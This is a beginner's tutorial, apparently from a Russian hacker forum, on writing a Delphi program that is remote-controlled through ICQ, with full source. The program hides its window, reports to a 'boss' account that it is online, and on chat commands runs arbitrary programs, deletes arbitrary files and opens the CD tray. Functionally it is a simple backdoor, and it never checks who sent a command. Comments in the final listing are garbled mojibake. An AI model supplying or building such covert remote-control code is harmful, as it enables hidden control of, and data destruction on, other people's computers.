Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!!
Начнем!!!
Я буду использовать delphi!
Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient
В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
ICQClient1: TICQClient;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял!
Давайте напишем, что будет делать программа, при нажатии буттон 1!
Но перед этим, объявите глобальную переменную boss integer!
Код:
implementation
{$R *.dfm}
var boss:integer; //Глобальная переменная
procedure TForm1.Button1Click(Sender: TObject);
begin
IcqClient1.UIN := strtoint(Edit1.text); //Из первого едита берем уин бота
IcqClient1.Password := Edit2.Text; //Из второго едита берем пасс от бота
boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3
IcqClient1.Login(); //коннектимся....
end;
Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в
Object inspector перейдите во вкладку
Events!Там есть процедура
OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
end;
Пропишим-ка, чтоб он нам отправил -
IcqClient1.SendMessage(boss,'Bot is online');
Прекрасно...Теперь если будет коннект, то нам пришлют сообщ
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн!
end;
Так теперь пропишем процедуру button2click, я предлагаю сделать программу
хайд! application.ShowMainForm := false;
Код:
procedure TForm1.Button2Click(Sender: TObject);
begin
application.ShowMainForm := false;//скроемся!
end;
Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура
OnMessageRecv, нажмите пару раз!!
Должно у вас в сурсе выглядеть так -
Код:
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin
end;
Объявим переменную cmd строковой!var cmd:string;
Теперь давайте составим комманды!!
Код:
*help - help
*start - Это у нас будет стартовать проги
*deletefile - это у нас будет удалять проги
*Cd_open - открывает смдюк //для этого добавьте в uses MMSystem;
*Cd_close - закрывает сидюк
Давайте пропишем!!!
Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд!
Код:
cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
'*help - help'+#13#10+
'*start - Это у нас будет стартовать проги'+#13#10+
'*deletefile -это у нас будет удалять проги'+#13#10+
'*Cd_open - открывает смдюк '+#13#10+
'*Cd_close - закрывает сидюк');
Я думаю уже все поняли как строить запросы)Давайте по порядку!!!!
Начнем со
*start! Вот тут я думаю будет интересно!!
Нам надо понять что это *start и какая-то прога!!Помнится есть copy()
Код:
if copy(cmd,1,pos(' ',cmd)-1) = '*start'
Теперь давайте пропишем что должен делать!!
Код:
WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки!
IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд
Теперь давайте
*Deletefile принцип как и у
*start
Код:
if copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд
begin
deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил !
IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд!
end;
Так у нас уже 3 комманды
*help *start *deletefile
Давайте уже пропишем чтоб закрывал сидюк и открывал....
Тут все просто просто если
cmd = '*Cd_open' то открыть сидюк!
Код:
if cmd='*Cd_open' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем
IcqClient1.SendMessage(boss,cmd+' done');
end;
if cmd='*Cd_close' then
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем
IcqClient1.SendMessage(boss,cmd+' done');
end;
Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...
Вот весь код!
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, StdCtrls, MMSystem;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
ICQClient1: TICQClient;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
procedure ICQClient1Login(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var boss:integer; //Ãëîáàëüíàÿ ïåðåìåííàÿ
procedure TForm1.Button1Click(Sender: TObject);
begin
IcqClient1.UIN := strtoint(Edit1.text); //Èç ïåðâîãî åäèòà áåðåì óèí áîòà
IcqClient1.Password := Edit2.Text; //Èç âòîðîãî åäèòà áåðåì ïàññ îò áîòà
boss := strtoint(Edit3.Text); //Çàïîëíÿåì ïåðåìåííóþ áîññ ãëàâíûì óèíîì èõ åäèò3
IcqClient1.Login(); //êîííåêòèìñÿ....
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
application.ShowMainForm := false;
end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
var cmd:string;
begin
cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
'*help - help'+#13#10+
'*start - Ýòî ó íàñ áóäåò ñòàðòîâàòü ïðîãè '+#13#10+
'*deletefile - ýòî ó íàñ áóäåò óäàëÿòü ïðîãè'+#13#10+
'*Cd_open - îòêðûâàåò ñìäþê //äëÿ ýòîãî äîáàâüòå â uses MMSystem;'+#13#10+
'*Cd_close - çàêðûâàåò ñèäþê');
if copy(cmd,1,pos(' ',cmd)-1) = '*start' then
begin
WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);
IcqClient1.SendMessage(boss,cmd+' done');
end;
if copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then
begin
deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));
IcqClient1.SendMessage(boss,cmd+' done');
end;
if cmd='*Cd_open' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
IcqClient1.SendMessage(boss,cmd+' done');
end;
if cmd='*Cd_close' then
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
IcqClient1.SendMessage(boss,cmd+' done');
end;
end;
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
IcqClient1.SendMessage(boss,'Bot is online');
end;
end.
(с)opyright by t3zo
P.S. Писал 2часа статью, надеюсь вы по достоинству оцените!!!Ваш t3zo...
Статья для новичков...